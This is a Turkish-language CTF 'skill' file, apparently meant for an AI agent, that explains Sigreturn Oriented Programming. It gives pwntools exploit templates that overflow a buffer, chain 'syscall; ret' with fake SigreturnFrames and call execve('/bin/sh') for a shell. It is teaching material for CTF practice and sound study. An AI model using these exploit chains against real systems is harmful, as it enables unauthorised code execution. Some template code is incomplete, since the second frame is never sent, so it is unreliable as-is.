--- name: srop-attack description: Sigreturn Oriented Programming (SROP) — sigreturn syscall ile tüm registerları tek payload'da kontrol etme; gadget kıtlığında ROP alternatifi tags: [ctf, pwn, srop, sigreturn, rop, syscall, register-control, pwntools, sigreturnframe] triggers: - "ROP gadget yok" - "az gadget" - "static binary" - "small attack surface" - "syscall execve" - "SigreturnFrame" - "sigreturn" - "rt_sigreturn" - "syscall ret" - "ucontext" - "register control" - "ASLR + tek gadget" - "no rop gadgets" - "minimum binary" difficulty: medium category: pwn solved_challenges: - "DEF CON Quals 2018 - smashthestate (SROP)" - "PlaidCTF 2017 - tonnerre (SROP, az gadget)" - "HITCON 2017 - start (SROP klasik)" - "TokyoWesterns CTF 2019 - asterisk_alloc" - "DownUnderCTF 2022 - srops" related_skills: - buffer-overflow-rop - ret2libc - seccomp-sandbox-escape - remote-pwn adapted_for: fetih --- # SROP — Sigreturn Oriented Programming ROP yerine **tek bir gadget (syscall; ret)** ile tüm register'ları kontrol et. Linux'un `sigreturn` syscall'ı, sinyal handler'dan döndüğünde tüm CPU durumunu (RAX, RBX, RCX, RDX, RDI, RSI, RBP, RSP, R8-R15, RIP, EFLAGS, CS, GS, FS) stackten okur. Stack'i kontrol edebiliyorsan tüm register'ları kontrol edersin. --- ## Ne Zaman Kullan | Senaryo | SROP Uygun mu? | |---|---| | Binary statik linked, libc yok | ✅ Mükemmel | | Çok az ROP gadget bulundu | ✅ Mükemmel | | Stack adresi biliniyor (no ASLR / leaked) | ✅ | | `syscall; ret` gadget'ı var | ✅ Şart | | `rax = 15` (SYS_rt_sigreturn) set edebiliyorsun | ✅ Şart | | Dynamic binary + libc + bol gadget | ❌ Klasik ROP daha kolay | --- ## Teknik Arka Plan ### Linux Sinyal İşleme Sinyal geldiğinde kernel kullanıcı sürecine "sinyal frame" denen yapıyı stack'e basar: ```c // linux/include/uapi/asm-generic/ucontext.h benzeri struct sigcontext { uint64_t r8, r9, r10, r11, r12, r13, r14, r15; uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip; uint64_t eflags; uint16_t cs, gs, fs, __pad0; uint64_t err, trapno, oldmask, cr2; void *fpstate; uint64_t reserved[8]; }; ``` Sinyal handler'dan döndüğünde sürec `sys_rt_sigreturn` (syscall #15 on x86-64) çağırır. Bu syscall stack'in tepesinden sigcontext'i okur, **doğrulama yapmadan** registerları yükler ve `rip`'e atlar. ### Saldırı: Sahte Sigframe 1. Stack'e sahte bir sigcontext kur (registerları istediğin gibi) 2. `rax = 15` set et 3. `syscall; ret` gadget'a atla 4. Kernel sigframe'i okur, registerları yükler 5. Yeni RIP'ten yürütme devam eder --- ## Çözüm Adımları (pwntools) ### Şablon ```python # exploit_srop.py from pwn import * BINARY = './vuln' elf = context.binary = ELF(BINARY) # 1. syscall; ret gadget bul SYSCALL_RET = next(elf.search(asm('syscall; ret'))) log.info(f'syscall;ret = {hex(SYSCALL_RET)}') # 2. Stack adresi (BSS, leaked stack, vb.) BSS = elf.bss(0x100) # 3. read syscall ile BSS'e "/bin/sh\x00" yaz # 4. SROP ile execve("/bin/sh", 0, 0) çağır io = process(BINARY) # Stage 1: BSS'e "/bin/sh\x00" yaz (read syscall) frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdi = 0 # stdin frame.rsi = BSS # buf frame.rdx = 8 # count frame.rsp = BSS + 0x800 # yeni stack frame.rip = SYSCALL_RET offset = 40 # cyclic ile bulduğun payload = b'A' * offset payload += p64(SYSCALL_RET) # rax = 15 ayarlandıktan sonra atlayacak payload += bytes(frame) # SigreturnFrame # Önce rax = 15 ayarlamamız gerek — read'in dönüş değeri = okunan byte sayısı # Bu yüzden zincir: read(0, buf, 15) → rax = 15 → ret → syscall ret (sigreturn) # Veya doğrudan rax = 15 ayarlayan gadget bul # Trick: read dönüşünden rax = byte count, eğer 15 byte göndertirsen rax = 15 olur # Daha temiz: aşağıdaki zincir io.sendline(payload) io.send(b'/bin/sh\x00') # Stage 2: execve("/bin/sh", 0, 0) frame2 = SigreturnFrame() frame2.rax = constants.SYS_execve frame2.rdi = BSS # "/bin/sh" frame2.rsi = 0 frame2.rdx = 0 frame2.rip = SYSCALL_RET # Bu frame'i de stage 1'in devamı olarak gönder # (tek zincirde iki sigreturn da mümkün) io.interactive() ``` --- ## Pratik Tam Örnek — Klasik SROP Challenge ```python # vuln binary: # - read(0, buf, 0x100) (BOF) # - main return # Hedef: shell from pwn import * context.arch = 'amd64' context.log_level = 'info' elf = ELF('./vuln') io = process('./vuln') # Sembol/adres tespit syscall_ret = next(elf.search(asm('syscall; ret'))) vuln_read = elf.symbols['main'] # main'e geri dön (yeniden BOF için) bss = elf.bss(0x500) log.success(f'syscall;ret @ {hex(syscall_ret)}') log.success(f'bss @ {hex(bss)}') # --- Stage 1: BSS'e "/bin/sh" yaz, sonra main'e geri dön --- # rax = 15 ayarlama tricki: # gadget: "pop rax; ret" varsa kullan # yoksa read'den rax = 15 ayarla (15 byte oku) # Önce 15 byte input okutarak rax = 15 yap # Sonra payload ile sigreturn frame'i tetikle # offset = main'in stack'ine kadar olan padding offset = 40 # Sigframe 1: BSS'e "/bin/sh" yaz frame1 = SigreturnFrame() frame1.rax = constants.SYS_read frame1.rdi = 0 frame1.rsi = bss frame1.rdx = 8 frame1.rip = syscall_ret frame1.rsp = bss + 0x800 # Sigframe 2: execve("/bin/sh", 0, 0) frame2 = SigreturnFrame() frame2.rax = constants.SYS_execve frame2.rdi = bss frame2.rsi = 0 frame2.rdx = 0 frame2.rip = syscall_ret # Payload: 40 byte padding + syscall_ret (for rax=15) + frame1 # rax'i 15 yapmak için: önce read syscall yap, dönüşte rax = 15 olur # Bu kısa örnek için pop rax; ret gadget olduğunu varsayıyorum: try: pop_rax = next(elf.search(asm('pop rax; ret'))) log.success(f'pop rax;ret @ {hex(pop_rax)}') payload = b'A' * offset payload += p64(pop_rax) + p64(15) # rax = 15 (SYS_rt_sigreturn) payload += p64(syscall_ret) # trigger sigreturn payload += bytes(frame1) # frame 1: read /bin/sh io.send(payload) io.send(b'/bin/sh\x00') # Bir sonraki BOF'da frame2'yi gönder # ... (challenge'a göre uyarla) except StopIteration: log.error('pop rax;ret yok — alternatif gerek') io.interactive() ``` --- ## Klasik SROP Trick: Çift Frame Bir BOF'ta iki sigreturn frame zincirleyebilirsin: ```python # Frame 1: read syscall, BSS'e "/bin/sh" yaz, RIP = syscall_ret # Frame 1'in RSP'sini öyle ayarla ki Frame 2'nin başına gelsin payload = b'A' * offset payload += p64(pop_rax) + p64(15) payload += p64(syscall_ret) + bytes(frame1) payload += p64(pop_rax) + p64(15) # Frame 1 dönüşünden sonra payload += p64(syscall_ret) + bytes(frame2) # Frame 1'in rsp'si payload'ın bu bölümüne işaret etmeli frame1.rsp = leak_stack_addr + offset_to_second_frame ``` --- ## Stack Adresi Yoksa — RSP-Relative ```python # Mevcut RSP'i leak edemiyorsan, sigframe'in rsp'sini RSP-tabanlı hesapla # Genelde "current_rsp = leak_addr" sonra "frame.rsp = leak_addr + N" ``` --- ## Gerçek CTF Örneği — DEF CON Quals 2018 smashthestate ```python # 32 bit binary, çok az gadget # Sadece read syscall + read'in stack'i overflow ettirebileceği yer # Çözüm: read(0, fake_stack, 0x100) ile fake stack kurulur # sonra sigreturn ile execve("/bin/sh", 0, 0) # Detay: https://ctftime.org/writeup/9803 ``` --- ## Tuzaklar 1. **`syscall; ret` gadget yoksa** SROP imkansız. Statik binary'lerde genelde vardır (libc'nin `syscall()` wrapper'ında). 2. **`rax = 15` ayarlama:** `pop rax; ret` yoksa, read syscall ile 15 byte okutturup `rax = 15` dönüşünü kullan. Veya başka syscall'ın dönüş değerinden faydalan. 3. **Stack adresi bilinmeli:** Çoğu durumda BSS yeterli ama bazen leaked stack gerekir. 4. **CS/SS değerleri:** 64-bit'te `cs = 0x33`, `ss = 0x2b` olmalı. SigreturnFrame() default doğru ayarlar. 5. **SECCOMP filter:** `rt_sigreturn` (syscall #15) yasaklanmışsa SROP olmaz. seccomp-tools ile kontrol et. 6. **PIE binary:** `syscall; ret` adresi PIE base'e bağlı — leak gerekir. 7. **32-bit vs 64-bit:** 32-bit'te `sys_sigreturn` #119, 64-bit'te `sys_rt_sigreturn` #15. SigreturnFrame() context.arch'a göre otomatik ayarlar. --- ## Avantajları (vs ROP) | Özellik | SROP | ROP | |---|---|---| | Gadget ihtiyacı | 1 (syscall;ret) | Çok | | Payload boyutu | ~250 byte (sigframe) | Değişken | | Register kontrolü | Tümü, tek payload | Parça parça | | Statik binary | İdeal | Zor | | Anti-ROP koruma (CET) | Bypass | Engellenir | --- ## Cross-Skill Pivot ``` Binary BOF var → checksec ├── NX + libc + bol gadget → ret2libc skill ├── az gadget + libc → ROP chain skill ├── az gadget + statik → SROP (bu skill) ├── SECCOMP → seccomp-sandbox-escape skill └── heap challenge → heap-exploit skill ```